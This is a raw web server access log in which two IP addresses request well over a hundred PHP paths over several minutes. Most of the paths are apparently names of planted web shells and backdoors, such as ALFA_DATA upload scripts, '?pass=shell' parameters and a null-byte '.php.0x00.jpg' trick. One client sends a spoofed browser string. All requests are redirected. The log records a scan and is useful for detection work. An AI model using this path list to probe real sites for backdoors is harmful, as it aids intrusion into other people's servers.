196.251.80.56 - - [23/Sep/2025:12:53:21 -0400] "GET /tmvo.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:53:26 -0400] "GET /edit.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:53:27 -0400] "GET /kaylin.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:53:35 -0400] "GET /thoms.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:53:38 -0400] "GET /wp-includes/a.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:53:43 -0400] "GET /vzulo0n8.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:53:48 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:53:49 -0400] "GET /s.php.0x00.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:53:53 -0400] "GET /sxlcatev.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:53:57 -0400] "GET /schallfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:53:58 -0400] "GET /VulnX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:54:05 -0400] "GET /lowpr.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:54:05 -0400] "GET /color.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:54:10 -0400] "GET /gecko.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:54:18 -0400] "GET /tcyatckn.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:54:20 -0400] "GET /install.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:54:27 -0400] "GET /wp1010.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:54:31 -0400] "GET /tbboxpos.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:54:33 -0400] "GET /ungu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:54:39 -0400] "GET /oiuz.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:54:42 -0400] "GET /g.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:54:46 -0400] "GET /wp-cgi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:54:50 -0400] "GET /lemat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:55:03 -0400] "GET /xalik.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:55:07 -0400] "GET /wp-admin/.well-known/upfile.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:55:15 -0400] "GET /- HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:55:17 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:55:24 -0400] "GET /upper.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:55:35 -0400] "GET /js/xerx7.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:55:37 -0400] "GET /xxl.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:55:43 -0400] "GET /jamaican.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:55:46 -0400] "GET /UPPER.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:55:53 -0400] "GET /webhook.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:55:58 -0400] "GET /xmrlpc.php7 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:55:59 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:56:03 -0400] "GET /wrot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:56:06 -0400] "GET /dadsec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:56:09 -0400] "GET /uploader20.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:56:12 -0400] "GET /darkweb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:56:16 -0400] "GET /deep.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:56:22 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:56:24 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:56:27 -0400] "GET /dika.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:56:34 -0400] "GET /wong.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:56:39 -0400] "GET /408.php52 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:56:39 -0400] "GET /css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:56:43 -0400] "GET /wp-simple.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:54:15 -0400] "GET /about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:54:22 -0400] "GET /alfav.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:54:27 -0400] "GET /rdpl.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:54:33 -0400] "GET /becks.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:54:48 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:54:54 -0400] "GET /2black.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:54:57 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:54:57 -0400] "GET /luxaa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:55:09 -0400] "GET /z7.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:55:19 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:55:21 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:55:22 -0400] "GET /owl.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:55:29 -0400] "GET /uqsder.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:55:39 -0400] "GET /xerx7.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:55:52 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:55:54 -0400] "GET /proses.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:56:04 -0400] "GET /css/iR7SzrsOUEP.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:56:15 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:56:20 -0400] "GET /bapakkau.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:56:24 -0400] "GET /dk22.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:56:30 -0400] "GET /wp-themes.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:56:30 -0400] "GET /ph069.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:56:35 -0400] "GET /docs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:56:50 -0400] "GET /wp-backup-sql-302.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:56:53 -0400] "GET /cY4bsE.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:56:58 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:57:00 -0400] "GET /wp-content/uploads/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:57:02 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:57:05 -0400] "GET /420.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:57:09 -0400] "GET /0x0.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:57:14 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:57:22 -0400] "GET /smtp.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:57:29 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:57:31 -0400] "GET /1945.php?login=1945 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:57:34 -0400] "GET /408.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:57:44 -0400] "GET /ALFA_DATA/alfacgiapi/menu.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:57:47 -0400] "GET /403.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:57:54 -0400] "GET /22xc.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:58:10 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:58:38 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:58:46 -0400] "GET /12345.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:59:16 -0400] "GET /wp-includes/widgets/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:59:37 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:59:40 -0400] "GET /57.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:00:04 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:00:20 -0400] "GET /60.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:56:53 -0400] "GET /x.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:56:57 -0400] "GET /wp-logout.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:57:01 -0400] "GET /1wiki.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:57:09 -0400] "GET /ALFA_DATA/alfacgiapi/upfile.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:57:11 -0400] "GET /46829484.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:57:14 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:57:20 -0400] "GET /PHPSmtp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:57:25 -0400] "GET /inpf8747384.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:57:36 -0400] "GET /.tmb/users.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:57:38 -0400] "GET /1975Team.php?shell=Dead HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:57:42 -0400] "GET /1index.php?pass=shell HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:57:54 -0400] "GET /wsa.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:58:00 -0400] "GET /2index.php?pass=shell HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:58:09 -0400] "GET /888.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:58:16 -0400] "GET /1234.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:58:22 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:58:31 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:58:38 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:58:53 -0400] "GET /123456.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:59:00 -0400] "GET /51.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:59:05 -0400] "GET /2002.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:59:09 -0400] "GET /wp-includes/images/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:59:09 -0400] "GET /52.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:59:13 -0400] "GET /53.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:59:20 -0400] "GET /54.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:59:36 -0400] "GET /56.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:59:47 -0400] "GET /58.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:00:12 -0400] "GET /59.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:00:26 -0400] "GET /61.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:00:29 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:00:42 -0400] "GET /64.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:00:31 -0400] "GET /62.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:00:36 -0400] "GET /class-IXR-date.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:00:37 -0400] "GET /63.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:00:43 -0400] "GET /configNRB/admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:00:48 -0400] "GET /65.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:00:51 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:00:57 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:00:59 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:01:06 -0400] "GET /68.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:01:07 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:01:10 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:01:12 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:01:19 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:01:35 -0400] "GET /76.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:01:36 -0400] "GET /lock.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:01:40 -0400] "GET /77.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:01:44 -0400] "GET /78.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:01:44 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:01:47 -0400] "GET /0x1949.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:01:50 -0400] "GET /79.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:01:55 -0400] "GET /80.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:02:07 -0400] "GET /82.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:00:52 -0400] "GET /66.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:00:58 -0400] "GET /67.php HTTP/1.1" 301 795 "-" "-"
